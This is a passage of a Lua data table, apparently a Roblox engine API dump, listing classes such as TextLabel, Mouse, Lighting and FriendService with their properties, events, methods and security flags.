 Events = {
 },
 ClassName = &quot;BodyGyro&quot;,
 Callbacks = {
 },
 Properties = {
 {
 Name = &quot;D&quot;,
 Type = &quot;float&quot;
 },
 {
 Name = &quot;P&quot;,
 Type = &quot;float&quot;
 },
 {
 Name = &quot;cframe&quot;,
 Type = &quot;CoordinateFrame&quot;
 },
 {
 Name = &quot;maxTorque&quot;,
 Type = &quot;Vector3&quot;
 }
 },
 Methods = {
 }
 },
 GuiLabel = {
 Inherits = &quot;GuiObject&quot;,
 Events = {
 },
 ClassName = &quot;GuiLabel&quot;,
 Callbacks = {
 },
 Properties = {
 },
 Methods = {
 }
 },
 SpecialMesh = {
 Inherits = &quot;FileMesh&quot;,
 Events = {
 },
 ClassName = &quot;SpecialMesh&quot;,
 Callbacks = {
 },
 Properties = {
 {
 Name = &quot;MeshType&quot;,
 Type = &quot;MeshType&quot;
 }
 },
 Methods = {
 }
 },
 InstancePacketCache = {
 Inherits = &quot;Instance&quot;,
 Events = {
 },
 ClassName = &quot;InstancePacketCache&quot;,
 Callbacks = {
 },
 Properties = {
 },
 Methods = {
 }
 },
 FileMesh = {
 Inherits = &quot;DataModelMesh&quot;,
 Events = {
 },
 ClassName = &quot;FileMesh&quot;,
 Callbacks = {
 },
 Properties = {
 {
 Name = &quot;MeshId&quot;,
 Type = &quot;Content&quot;
 },
 {
 Name = &quot;TextureId&quot;,
 Type = &quot;Content&quot;
 }
 },
 Methods = {
 }
 },
 LuaSettings = {
 Inherits = &quot;Instance&quot;,
 Events = {
 },
 ClassName = &quot;LuaSettings&quot;,
 Callbacks = {
 },
 Properties = {
 {
 Name = &quot;AreScriptStartsReported&quot;,
 Type = &quot;bool&quot;
 },
 {
 Name = &quot;DefaultWaitTime&quot;,
 Type = &quot;double&quot;
 },
 {
 Name = &quot;GcFrequency&quot;,
 Type = &quot;int&quot;
 },
 {
 Name = &quot;GcLimit&quot;,
 Type = &quot;int&quot;
 },
 {
 Name = &quot;GcPause&quot;,
 Type = &quot;int&quot;
 },
 {
 Name = &quot;GcStepMul&quot;,
 Type = &quot;int&quot;
 },
 {
 Name = &quot;WaitingThreadsBudget&quot;,
 Type = &quot;float&quot;
 }
 },
 Methods = {
 }
 },
 Animator = {
 Inherits = &quot;Instance&quot;,
 Events = {
 },
 ClassName = &quot;Animator&quot;,
 Callbacks = {
 },
 Properties = {
 },
 Methods = {
 {
 ReturnType = &quot;Instance&quot;,
 Arguments = {
 {
 Name = &quot;animation&quot;,
 Type = &quot;Instance&quot;
 }
 },
 Name = &quot;LoadAnimation&quot;
 }
 }
 },
 SkateboardPlatform = {
 Inherits = &quot;Part&quot;,
 Events = {
 {
 Name = &quot;Equipped&quot;,
 Arguments = {
 {
 Name = &quot;humanoid&quot;,
 Type = &quot;Instance&quot;
 },
 {
 Name = &quot;skateboardController&quot;,
 Type = &quot;Instance&quot;
 }
 }
 },
 {
 Name = &quot;MoveStateChanged&quot;,
 Arguments = {
 {
 Name = &quot;newState&quot;,
 Type = &quot;MoveState&quot;
 },
 {
 Name = &quot;oldState&quot;,
 Type = &quot;MoveState&quot;
 }
 }
 },
 {
 Name = &quot;Unequipped&quot;,
 Arguments = {
 {
 Name = &quot;humanoid&quot;,
 Type = &quot;Instance&quot;
 }
 }
 },
 {
 deprecated = true,
 Arguments = {
 {
 Name = &quot;humanoid&quot;,
 Type = &quot;Instance&quot;
 },
 {
 Name = &quot;skateboardController&quot;,
 Type = &quot;Instance&quot;
 }
 },
 Name = &quot;equipped&quot;
 },
 {
 deprecated = true,
 Arguments = {
 {
 Name = &quot;humanoid&quot;,
 Type = &quot;Instance&quot;
 }
 },
 Name = &quot;unequipped&quot;
 }
 },
 ClassName = &quot;SkateboardPlatform&quot;,
 Callbacks = {
 },
 Properties = {
 {
 Type = &quot;Object&quot;,
 Name = &quot;Controller&quot;,
 readonly = true
 },
 {
 Type = &quot;Object&quot;,
 Name = &quot;ControllingHumanoid&quot;,
 readonly = true
 },
 {
 Name = &quot;Steer&quot;,
 Type = &quot;int&quot;
 },
 {
 Name = &quot;StickyWheels&quot;,
 Type = &quot;bool&quot;
 },
 {
 Name = &quot;Throttle&quot;,
 Type = &quot;int&quot;
 }
 },
 Methods = {
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;impulseWorld&quot;,
 Type = &quot;Vector3&quot;
 }
 },
 Name = &quot;ApplySpecificImpulse&quot;
 }
 }
 },
 DebuggerWatch = {
 Inherits = &quot;Instance&quot;,
 Events = {
 },
 ClassName = &quot;DebuggerWatch&quot;,
 Callbacks = {
 },
 Properties = {
 {
 Name = &quot;Expression&quot;,
 Type = &quot;string&quot;
 }
 },
 Methods = {
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 },
 Name = &quot;CheckSyntax&quot;
 }
 }
 },
 DataModelMesh = {
 Inherits = &quot;Instance&quot;,
 Events = {
 },
 ClassName = &quot;DataModelMesh&quot;,
 Callbacks = {
 },
 Properties = {
 {
 Name = &quot;Offset&quot;,
 Type = &quot;Vector3&quot;
 },
 {
 Name = &quot;Scale&quot;,
 Type = &quot;Vector3&quot;
 },
 {
 Name = &quot;VertexColor&quot;,
 Type = &quot;Vector3&quot;
 }
 },
 notbrowsable = true,
 Methods = {
 }
 },
 SkateboardController = {
 Inherits = &quot;Controller&quot;,
 Events = {
 {
 Name = &quot;AxisChanged&quot;,
 Arguments = {
 {
 Name = &quot;axis&quot;,
 Type = &quot;string&quot;
 }
 }
 }
 },
 ClassName = &quot;SkateboardController&quot;,
 Callbacks = {
 },
 Properties = {
 {
 Type = &quot;float&quot;,
 Name = &quot;Steer&quot;,
 readonly = true
 },
 {
 Type = &quot;float&quot;,
 Name = &quot;Throttle&quot;,
 readonly = true
 }
 },
 Methods = {
 }
 },
 TextLabel = {
 Inherits = &quot;GuiLabel&quot;,
 Events = {
 },
 ClassName = &quot;TextLabel&quot;,
 Callbacks = {
 },
 Properties = {
 {
 Name = &quot;Font&quot;,
 Type = &quot;Font&quot;
 },
 {
 Name = &quot;FontSize&quot;,
 Type = &quot;FontSize&quot;
 },
 {
 Name = &quot;Text&quot;,
 Type = &quot;string&quot;
 },
 {
 Type = &quot;Vector2&quot;,
 Name = &quot;TextBounds&quot;,
 readonly = true
 },
 {
 deprecated = true,
 Type = &quot;BrickColor&quot;,
 Name = &quot;TextColor&quot;,
 hidden = true
 },
 {
 Name = &quot;TextColor3&quot;,
 Type = &quot;Color3&quot;
 },
 {
 Type = &quot;bool&quot;,
 Name = &quot;TextFits&quot;,
 readonly = true
 },
 {
 Name = &quot;TextScaled&quot;,
 Type = &quot;bool&quot;
 },
 {
 Name = &quot;TextStrokeColor3&quot;,
 Type = &quot;Color3&quot;
 },
 {
 Name = &quot;TextStrokeTransparency&quot;,
 Type = &quot;float&quot;
 },
 {
 Name = &quot;TextTransparency&quot;,
 Type = &quot;float&quot;
 },
 {
 deprecated = true,
 Type = &quot;bool&quot;,
 Name = &quot;TextWrap&quot;
 },
 {
 Name = &quot;TextWrapped&quot;,
 Type = &quot;bool&quot;
 },
 {
 Name = &quot;TextXAlignment&quot;,
 Type = &quot;TextXAlignment&quot;
 },
 {
 Name = &quot;TextYAlignment&quot;,
 Type = &quot;TextYAlignment&quot;
 }
 },
 Methods = {
 }
 },
 Mouse = {
 Inherits = &quot;Instance&quot;,
 Events = {
 {
 Name = &quot;Button1Down&quot;,
 Arguments = {
 }
 },
 {
 Name = &quot;Button1Up&quot;,
 Arguments = {
 }
 },
 {
 Name = &quot;Button2Down&quot;,
 Arguments = {
 }
 },
 {
 Name = &quot;Button2Up&quot;,
 Arguments = {
 }
 },
 {
 Name = &quot;Idle&quot;,
 Arguments = {
 }
 },
 {
 Name = &quot;KeyDown&quot;,
 Arguments = {
 {
 Name = &quot;key&quot;,
 Type = &quot;string&quot;
 }
 }
 },
 {
 Name = &quot;KeyUp&quot;,
 Arguments = {
 {
 Name = &quot;key&quot;,
 Type = &quot;string&quot;
 }
 }
 },
 {
 Name = &quot;Move&quot;,
 Arguments = {
 }
 },
 {
 Name = &quot;WheelBackward&quot;,
 Arguments = {
 }
 },
 {
 Name = &quot;WheelForward&quot;,
 Arguments = {
 }
 },
 {
 deprecated = true,
 Arguments = {
 {
 Name = &quot;key&quot;,
 Type = &quot;string&quot;
 }
 },
 Name = &quot;keyDown&quot;
 }
 },
 ClassName = &quot;Mouse&quot;,
 Callbacks = {
 },
 Properties = {
 {
 Type = &quot;CoordinateFrame&quot;,
 Name = &quot;Hit&quot;,
 readonly = true
 },
 {
 Name = &quot;Icon&quot;,
 Type = &quot;Content&quot;
 },
 {
 Type = &quot;CoordinateFrame&quot;,
 Name = &quot;Origin&quot;,
 readonly = true
 },
 {
 Type = &quot;Object&quot;,
 Name = &quot;Target&quot;,
 readonly = true
 },
 {
 Name = &quot;TargetFilter&quot;,
 Type = &quot;Object&quot;
 },
 {
 Type = &quot;NormalId&quot;,
 Name = &quot;TargetSurface&quot;,
 readonly = true
 },
 {
 Type = &quot;Ray&quot;,
 Name = &quot;UnitRay&quot;,
 readonly = true
 },
 {
 Type = &quot;int&quot;,
 Name = &quot;ViewSizeX&quot;,
 readonly = true
 },
 {
 Type = &quot;int&quot;,
 Name = &quot;ViewSizeY&quot;,
 readonly = true
 },
 {
 Type = &quot;int&quot;,
 Name = &quot;X&quot;,
 readonly = true
 },
 {
 Type = &quot;int&quot;,
 Name = &quot;Y&quot;,
 readonly = true
 },
 {
 Type = &quot;CoordinateFrame&quot;,
 Name = &quot;hit&quot;,
 deprecated = true,
 hidden = true,
 readonly = true
 },
 {
 deprecated = true,
 Type = &quot;Object&quot;,
 Name = &quot;target&quot;,
 readonly = true
 }
 },
 Methods = {
 }
 },
 BindableFunction = {
 Inherits = &quot;Instance&quot;,
 Events = {
 },
 ClassName = &quot;BindableFunction&quot;,
 Callbacks = {
 {
 ReturnType = &quot;Tuple&quot;,
 Arguments = {
 {
 Name = &quot;arguments&quot;,
 Type = &quot;Tuple&quot;
 }
 },
 Name = &quot;OnInvoke&quot;
 }
 },
 Properties = {
 },
 Methods = {
 {
 ReturnType = &quot;Tuple&quot;,
 Arguments = {
 {
 Name = &quot;arguments&quot;,
 Type = &quot;Tuple&quot;
 }
 },
 Name = &quot;Invoke&quot;
 }
 }
 },
 ReflectionMetadataCallbacks = {
 Inherits = &quot;Instance&quot;,
 Events = {
 },
 ClassName = &quot;ReflectionMetadataCallbacks&quot;,
 Callbacks = {
 },
 Properties = {
 },
 Methods = {
 }
 },
 Clothing = {
 Inherits = &quot;CharacterAppearance&quot;,
 Events = {
 },
 ClassName = &quot;Clothing&quot;,
 Callbacks = {
 },
 Properties = {
 },
 Methods = {
 }
 },
 Lighting = {
 Inherits = &quot;Instance&quot;,
 Events = {
 {
 Name = &quot;LightingChanged&quot;,
 Arguments = {
 {
 Name = &quot;skyboxChanged&quot;,
 Type = &quot;bool&quot;
 }
 }
 }
 },
 ClassName = &quot;Lighting&quot;,
 Callbacks = {
 },
 Properties = {
 {
 Name = &quot;Ambient&quot;,
 Type = &quot;Color3&quot;
 },
 {
 Name = &quot;Brightness&quot;,
 Type = &quot;float&quot;
 },
 {
 Name = &quot;ColorShift&quot;,
 Type = &quot;Color3&quot;
 },
 {
 Name = &quot;ColorShift&quot;,
 Type = &quot;Color3&quot;
 },
 {
 Name = &quot;FogColor&quot;,
 Type = &quot;Color3&quot;
 },
 {
 Name = &quot;FogEnd&quot;,
 Type = &quot;float&quot;
 },
 {
 Name = &quot;FogStart&quot;,
 Type = &quot;float&quot;
 },
 {
 Name = &quot;GeographicLatitude&quot;,
 Type = &quot;float&quot;
 },
 {
 Name = &quot;GlobalShadows&quot;,
 Type = &quot;bool&quot;
 },
 {
 Name = &quot;OutdoorAmbient&quot;,
 Type = &quot;Color3&quot;
 },
 {
 Name = &quot;Outlines&quot;,
 Type = &quot;bool&quot;
 },
 {
 Name = &quot;ShadowColor&quot;,
 Type = &quot;Color3&quot;
 },
 {
 Name = &quot;TimeOfDay&quot;,
 Type = &quot;string&quot;
 }
 },
 notCreatable = true,
 Methods = {
 {
 ReturnType = &quot;double&quot;,
 Arguments = {
 },
 Name = &quot;GetMinutesAfterMidnight&quot;
 },
 {
 ReturnType = &quot;Vector3&quot;,
 Arguments = {
 },
 Name = &quot;GetMoonDirection&quot;
 },
 {
 ReturnType = &quot;float&quot;,
 Arguments = {
 },
 Name = &quot;GetMoonPhase&quot;
 },
 {
 ReturnType = &quot;Vector3&quot;,
 Arguments = {
 },
 Name = &quot;GetSunDirection&quot;
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;minutes&quot;,
 Type = &quot;double&quot;
 }
 },
 Name = &quot;SetMinutesAfterMidnight&quot;
 },
 {
 ReturnType = &quot;double&quot;,
 Arguments = {
 },
 Name = &quot;getMinutesAfterMidnight&quot;,
 deprecated = true
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;minutes&quot;,
 Type = &quot;double&quot;
 }
 },
 Name = &quot;setMinutesAfterMidnight&quot;,
 deprecated = true
 }
 }
 },
 RenderSettings = {
 Inherits = &quot;Instance&quot;,
 Events = {
 },
 ClassName = &quot;RenderSettings&quot;,
 Callbacks = {
 },
 Properties = {
 {
 Name = &quot;AASamples&quot;,
 Type = &quot;AASamples&quot;
 },
 {
 Name = &quot;AlwaysDrawConnectors&quot;,
 Type = &quot;bool&quot;
 },
 {
 Name = &quot;Antialiasing&quot;,
 Type = &quot;Antialiasing&quot;
 },
 {
 Name = &quot;AutoFRMLevel&quot;,
 Type = &quot;int&quot;
 },
 {
 Name = &quot;DebugDisableInterpolation&quot;,
 Type = &quot;bool&quot;
 },
 {
 Name = &quot;EagerBulkExecution&quot;,
 Type = &quot;bool&quot;
 },
 {
 Type = &quot;bool&quot;,
 Name = &quot;EnableFRM&quot;,
 hidden = true
 },
 {
 Name = &quot;FrameRateManager&quot;,
 Type = &quot;FramerateManagerMode&quot;
 },
 {
 Name = &quot;IsAggregationShown&quot;,
 Type = &quot;bool&quot;
 },
 {
 Name = &quot;IsSynchronizedWithPhysics&quot;,
 Type = &quot;bool&quot;
 },
 {
 Name = &quot;MeshCacheSize&quot;,
 Type = &quot;int&quot;
 },
 {
 Name = &quot;QualityLevel&quot;,
 Type = &quot;QualityLevel&quot;
 },
 {
 Name = &quot;Resolution&quot;,
 Type = &quot;Resolution&quot;
 },
 {
 Name = &quot;Shadow&quot;,
 Type = &quot;Shadow&quot;
 },
 {
 Name = &quot;ShowBoundingBoxes&quot;,
 Type = &quot;bool&quot;
 },
 {
 Name = &quot;TextureCacheSize&quot;,
 Type = &quot;int&quot;
 },
 {
 Name = &quot;UsesPaintMessage&quot;,
 Type = &quot;bool&quot;
 },
 {
 Name = &quot;graphicsMode&quot;,
 Type = &quot;GraphicsMode&quot;
 }
 },
 notbrowsable = true,
 Methods = {
 {
 ReturnType = &quot;int&quot;,
 Arguments = {
 },
 Name = &quot;GetMaxQualityLevel&quot;
 }
 }
 },
 ObjectValue = {
 Inherits = &quot;Instance&quot;,
 Events = {
 {
 Name = &quot;Changed&quot;,
 Arguments = {
 {
 Name = &quot;value&quot;,
 Type = &quot;Instance&quot;
 }
 }
 },
 {
 deprecated = true,
 Arguments = {
 {
 Name = &quot;value&quot;,
 Type = &quot;Instance&quot;
 }
 },
 Name = &quot;changed&quot;
 }
 },
 ClassName = &quot;ObjectValue&quot;,
 Callbacks = {
 },
 Properties = {
 {
 Name = &quot;Value&quot;,
 Type = &quot;Object&quot;
 }
 },
 Methods = {
 }
 },
 CharacterMesh = {
 Inherits = &quot;CharacterAppearance&quot;,
 Events = {
 },
 ClassName = &quot;CharacterMesh&quot;,
 Callbacks = {
 },
 Properties = {
 {
 Name = &quot;BaseTextureId&quot;,
 Type = &quot;int&quot;
 },
 {
 Name = &quot;BodyPart&quot;,
 Type = &quot;BodyPart&quot;
 },
 {
 Name = &quot;MeshId&quot;,
 Type = &quot;int&quot;
 },
 {
 Name = &quot;OverlayTextureId&quot;,
 Type = &quot;int&quot;
 }
 },
 Methods = {
 }
 },
 GuidRegistryService = {
 Inherits = &quot;Instance&quot;,
 Events = {
 },
 ClassName = &quot;GuidRegistryService&quot;,
 Callbacks = {
 },
 Properties = {
 },
 Methods = {
 }
 },
 GameSettings = {
 Inherits = &quot;Instance&quot;,
 Events = {
 {
 Arguments = {
 {
 Name = &quot;recording&quot;,
 Type = &quot;bool&quot;
 }
 },
 Name = &quot;VideoRecordingChangeRequest&quot;,
 RobloxScriptSecurity = true
 }
 },
 ClassName = &quot;GameSettings&quot;,
 Callbacks = {
 },
 Properties = {
 {
 Name = &quot;BubbleChatLifetime&quot;,
 Type = &quot;float&quot;
 },
 {
 Name = &quot;BubbleChatMaxBubbles&quot;,
 Type = &quot;int&quot;
 },
 {
 Name = &quot;ChatHistory&quot;,
 Type = &quot;int&quot;
 },
 {
 Name = &quot;ChatScrollLength&quot;,
 Type = &quot;int&quot;
 },
 {
 Name = &quot;CollisionSoundEnabled&quot;,
 Type = &quot;bool&quot;
 },
 {
 Name = &quot;CollisionSoundVolume&quot;,
 Type = &quot;float&quot;
 },
 {
 Name = &quot;HardwareMouse&quot;,
 Type = &quot;bool&quot;
 },
 {
 Name = &quot;ImageUploadPromptBehavior&quot;,
 Type = &quot;UploadSetting&quot;
 },
 {
 Name = &quot;MaxCollisionSounds&quot;,
 Type = &quot;int&quot;
 },
 {
 Name = &quot;ReportAbuseChatHistory&quot;,
 Type = &quot;int&quot;
 },
 {
 Name = &quot;SoftwareSound&quot;,
 Type = &quot;bool&quot;
 },
 {
 Name = &quot;SoundEnabled&quot;,
 Type = &quot;bool&quot;
 },
 {
 Name = &quot;VideoCaptureEnabled&quot;,
 Type = &quot;bool&quot;
 },
 {
 Name = &quot;VideoQuality&quot;,
 Type = &quot;VideoQualitySettings&quot;
 }
 },
 notbrowsable = true,
 Methods = {
 }
 },
 TotalCountTimeIntervalItem = {
 Inherits = &quot;StatsItem&quot;,
 Events = {
 },
 ClassName = &quot;TotalCountTimeIntervalItem&quot;,
 Callbacks = {
 },
 Properties = {
 },
 Methods = {
 }
 },
 DebuggerService = {
 Inherits = &quot;Instance&quot;,
 Events = {
 {
 Name = &quot;DebuggerAdded&quot;,
 Arguments = {
 {
 Name = &quot;debugger&quot;,
 Type = &quot;Instance&quot;
 }
 }
 },
 {
 Name = &quot;DebuggerRemoved&quot;,
 Arguments = {
 {
 Name = &quot;debugger&quot;,
 Type = &quot;Instance&quot;
 }
 }
 }
 },
 ClassName = &quot;DebuggerService&quot;,
 Callbacks = {
 },
 Properties = {
 {
 Type = &quot;bool&quot;,
 Name = &quot;DebuggingEnabled&quot;,
 readonly = true
 }
 },
 Methods = {
 {
 ReturnType = &quot;Instance&quot;,
 Arguments = {
 {
 Name = &quot;script&quot;,
 Type = &quot;Instance&quot;
 }
 },
 Name = &quot;AddDebugger&quot;
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 },
 Name = &quot;EnableDebugging&quot;,
 RobloxScriptSecurity = true
 },
 {
 ReturnType = &quot;Objects&quot;,
 Arguments = {
 },
 Name = &quot;GetDebuggers&quot;
 }
 }
 },
 HandlesBase = {
 Inherits = &quot;PartAdornment&quot;,
 Events = {
 },
 ClassName = &quot;HandlesBase&quot;,
 Callbacks = {
 },
 Properties = {
 },
 Methods = {
 }
 },
 FaceInstance = {
 Inherits = &quot;Instance&quot;,
 Events = {
 },
 ClassName = &quot;FaceInstance&quot;,
 Callbacks = {
 },
 Properties = {
 {
 Name = &quot;Face&quot;,
 Type = &quot;NormalId&quot;
 }
 },
 notbrowsable = true,
 Methods = {
 }
 },
 Toolbar = {
 Inherits = &quot;Instance&quot;,
 Events = {
 },
 ClassName = &quot;Toolbar&quot;,
 Callbacks = {
 },
 Properties = {
 },
 Methods = {
 {
 ReturnType = &quot;Instance&quot;,
 Arguments = {
 {
 Name = &quot;text&quot;,
 Type = &quot;string&quot;
 },
 {
 Name = &quot;tooltip&quot;,
 Type = &quot;string&quot;
 },
 {
 Name = &quot;iconname&quot;,
 Type = &quot;string&quot;
 }
 },
 Name = &quot;CreateButton&quot;,
 LocalUserSecurity = true
 }
 }
 },
 BodyColors = {
 Inherits = &quot;CharacterAppearance&quot;,
 Events = {
 },
 ClassName = &quot;BodyColors&quot;,
 Callbacks = {
 },
 Properties = {
 {
 Name = &quot;HeadColor&quot;,
 Type = &quot;BrickColor&quot;
 },
 {
 Name = &quot;LeftArmColor&quot;,
 Type = &quot;BrickColor&quot;
 },
 {
 Name = &quot;LeftLegColor&quot;,
 Type = &quot;BrickColor&quot;
 },
 {
 Name = &quot;RightArmColor&quot;,
 Type = &quot;BrickColor&quot;
 },
 {
 Name = &quot;RightLegColor&quot;,
 Type = &quot;BrickColor&quot;
 },
 {
 Name = &quot;TorsoColor&quot;,
 Type = &quot;BrickColor&quot;
 }
 },
 Methods = {
 }
 },
 FriendService = {
 Inherits = &quot;Instance&quot;,
 Events = {
 },
 ClassName = &quot;FriendService&quot;,
 Callbacks = {
 },
 Properties = {
 },
 notCreatable = true,
 Methods = {
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;url&quot;,
 Type = &quot;string&quot;
 }
 },
 Name = &quot;SetBreakFriendUrl&quot;,
 LocalUserSecurity = true
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;url&quot;,
 Type = &quot;string&quot;
 }
 },
 Name = &quot;SetCreateFriendRequestUrl&quot;,
 LocalUserSecurity = true
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;url&quot;,
 Type = &quot;string&quot;
 }
 },
 Name = &quot;SetDeleteFriendRequestUrl&quot;,
 LocalUserSecurity = true
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;enable&quot;,
 Type = &quot;bool&quot;
 }
 },
 Name = &quot;SetEnabled&quot;,
 LocalUserSecurity = true
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;url&quot;,
 Type = &quot;string&quot;
 }
 },
 Name = &quot;SetGetFriendsUrl&quot;,
 LocalUserSecurity = true
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;url&quot;,
 Type = &quot;string&quot;
 }
 },
 Name = &quot;SetMakeFriendUrl&quot;,
 LocalUserSecurity = true
 }
 }
 },
 CookiesService = {
 Inherits = &quot;Instance&quot;,
 Events = {
 },
 ClassName = &quot;CookiesService&quot;,
 Callbacks = {
 },
 Properties = {
 },
 Methods = {
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;key&quot;,
 Type = &quot;string&quot;
 }
 },
 Name = &quot;DeleteCookieValue&quot;,
 RobloxSecurity = true
 },
 {
 ReturnType = &quot;string&quot;,
 Arguments = {
 {
 Name = &quot;key&quot;,
 Type = &quot;string&quot;
 }
 },
 Name = &quot;GetCookieValue&quot;,
 RobloxSecurity = true
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;key&quot;,
 Type = &quot;string&quot;
 },
 {
 Name = &quot;value&quot;,
 Type = &quot;string&quot;
 }
 },
 Name = &quot;SetCookieValue&quot;,
 RobloxSecurity = true
 }
 }
 },
 NotificationBox = {
 Inherits = &quot;GuiObject&quot;,
 Events = {
 },
 ClassName = &quot;NotificationBox&quot;,
 Callbacks = {
 },
 Properties = {
 },
 notbrowsable = true,
 Methods = {
 }
 },
 PVInstance = {
 Inherits = &quot;Instance&quot;,
 Events = {
 },
 ClassName = &quot;PVInstance&quot;,
 Callbacks = {
 },
 Properties = {
 {
 deprecated = true,
 Type = &quot;CoordinateFrame&quot;,
 Name = &quot;CoordinateFrame&quot;,
 writeonly = true
 }
 },
 notbrowsable = true,
 Methods = {
 }
 },
 SelectionBox = {
 Inherits = &quot;PVAdornment&quot;,
 Events = {
 },
 ClassName = &quot;SelectionBox&quot;,
 Callbacks = {
 },
 Properties = {
 },
 Methods = {
 }
 },
 VehicleSeat = {
 Inherits = &quot;BasePart&quot;,
 Events = {
 },
 ClassName = &quot;VehicleSeat&quot;,
 Callbacks = {
 },
 Properties = {
 {
 Type = &quot;int&quot;,
 Name = &quot;AreHingesDetected&quot;,
 readonly = true
 },
 {
 Name = &quot;Disabled&quot;,
 Type = &quot;bool&quot;
 },
 {
 Name = &quot;HeadsUpDisplay&quot;,
 Type = &quot;bool&quot;
 },
 {
 Name = &quot;MaxSpeed&quot;,
 Type = &quot;float&quot;
 },
 {
 Name = &quot;Steer&quot;,
 Type = &quot;int&quot;
 },
 {
 Name = &quot;Throttle&quot;,
 Type = &quot;int&quot;
 },
 {
 Name = &quot;Torque&quot;,
 Type = &quot;float&quot;
 },
 {
 Name = &quot;TurnSpeed&quot;,
 Type = &quot;float&quot;
 }
 },
 Methods = {
 }
 },
 CustomEvent = {
 Inherits = &quot;Instance&quot;,
 Events = {
 {
 Name = &quot;ReceiverConnected&quot;,
 Arguments = {
 {
 Name = &quot;receiver&quot;,
 Type = &quot;Instance&quot;
 }
 }
 },
 {
 Name = &quot;ReceiverDisconnected&quot;,
 Arguments = {
 {
 Name = &quot;receiver&quot;,
 Type = &quot;Instance&quot;
 }
 }
 }
 },
 ClassName = &quot;CustomEvent&quot;,
 Callbacks = {
 },
 Properties = {
 },
 Methods = {
 {
 ReturnType = &quot;Objects&quot;,
 Arguments = {
 },
 Name = &quot;GetAttachedReceivers&quot;
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;newValue&quot;,
 Type = &quot;float&quot;
 }
 },
 Name = &quot;SetValue&quot;
 }
 }
 },
 TextureContentProvider = {
 Inherits = &quot;CacheableContentProvider&quot;,
 Events = {
 },
 ClassName = &quot;TextureContentProvider&quot;,
 Callbacks = {
 },
 Properties = {
 },
 Methods = {
 }
 },
 IntValue = {
 Inherits = &quot;Instance&quot;,
 Events = {
 {
 Name = &quot;Changed&quot;,
 Arguments = {
 {
 Name = &quot;value&quot;,
 Type = &quot;int&quot;
 }
 }
 },
 {
 deprecated = true,
 Arguments = {
 {
 Name = &quot;value&quot;,
 Type = &quot;int&quot;
 }
 },
 Name = &quot;changed&quot;
 }
 },
 ClassName = &quot;IntValue&quot;,
 Callbacks = {
 },
 Properties = {
 {
 Name = &quot;Value&quot;,
 Type = &quot;int&quot;
 }
 },
 Methods = {
 }
 },
 FloorWire = {
 Inherits = &quot;GuiBase3d&quot;,
 Events = {
 },
 ClassName = &quot;FloorWire&quot;,
 Callbacks = {
 },
 Properties = {
 {
 Name = &quot;CycleOffset&quot;,
 Type = &quot;float&quot;
 },
 {
 Name = &quot;From&quot;,
 Type = &quot;Object&quot;
 },
 {
 Name = &quot;StudsBetweenTextures&quot;,
 Type = &quot;float&quot;
 },
 {
 Name = &quot;Texture&quot;,
 Type = &quot;Content&quot;
 },
 {
 Name = &quot;TextureSize&quot;,
 Type = &quot;Vector2&quot;
 },
 {
 Name = &quot;To&quot;,
 Type = &quot;Object&quot;
 },
 {
 Name = &quot;Velocity&quot;,
 Type = &quot;float&quot;
 },
 {
 Name = &quot;WireRadius&quot;,
 Type = &quot;float&quot;
 }
 },
 Methods = {
 }
 },
 GuiRoot = {
 Inherits = &quot;GuiItem&quot;,
 Events = {
 },
 ClassName = &quot;GuiRoot&quot;,
 Callbacks = {
 },
 Properties = {
 },
 notCreatable = true,
 Methods = {
 }
 },
 Controller = {
 Inherits = &quot;Instance&quot;,
 Events = {
 {
 Name = &quot;ButtonChanged&quot;,
 Arguments = {
 {
 Name = &quot;button&quot;,
 Type = &quot;Button&quot;
 }
 }
 }
 },
 ClassName = &quot;Controller&quot;,
 Callbacks = {
 },
 Properties = {
 },
 Methods = {
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;button&quot;,
 Type = &quot;Button&quot;
 },
 {
 Name = &quot;caption&quot;,
 Type = &quot;string&quot;
 }
 },
 Name = &quot;BindButton&quot;
 },
 {
 ReturnType = &quot;bool&quot;,
 Arguments = {
 {
 Name = &quot;button&quot;,
 Type = &quot;Button&quot;
 }
 },
 Name = &quot;GetButton&quot;
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;button&quot;,
 Type = &quot;Button&quot;
 }
 },
 Name = &quot;UnbindButton&quot;
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;button&quot;,
 Type = &quot;Button&quot;
 },
 {
 Name = &quot;caption&quot;,
 Type = &quot;string&quot;
 }
 },
 Name = &quot;bindButton&quot;,
 deprecated = true
 },
 {
 ReturnType = &quot;bool&quot;,
 Arguments = {
 {
 Name = &quot;button&quot;,
 Type = &quot;Button&quot;
 }
 },
 Name = &quot;getButton&quot;,
 deprecated = true
 }
 }
 },
 Motor = {
 Inherits = &quot;JointInstance&quot;,
 Events = {
 },
 ClassName = &quot;Motor&quot;,
 Callbacks = {
 },
 Properties = {
 {
 Name = &quot;CurrentAngle&quot;,
 Type = &quot;float&quot;
 },
 {
 Name = &quot;DesiredAngle&quot;,
 Type = &quot;float&quot;
 },
 {
 Name = &quot;MaxVelocity&quot;,
 Type = &quot;float&quot;
 }
 },
 Methods = {
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;value&quot;,
 Type = &quot;float&quot;
 }
 },
 Name = &quot;SetDesiredAngle&quot;
 }
 }
 },
 Glue = {
 Inherits = &quot;JointInstance&quot;,
 Events = {
 },
 ClassName = &quot;Glue&quot;,
 Callbacks = {
 },
 Properties = {
 {
 Name = &quot;F0&quot;,
 Type = &quot;Vector3&quot;
 },
 {
 Name = &quot;F1&quot;,
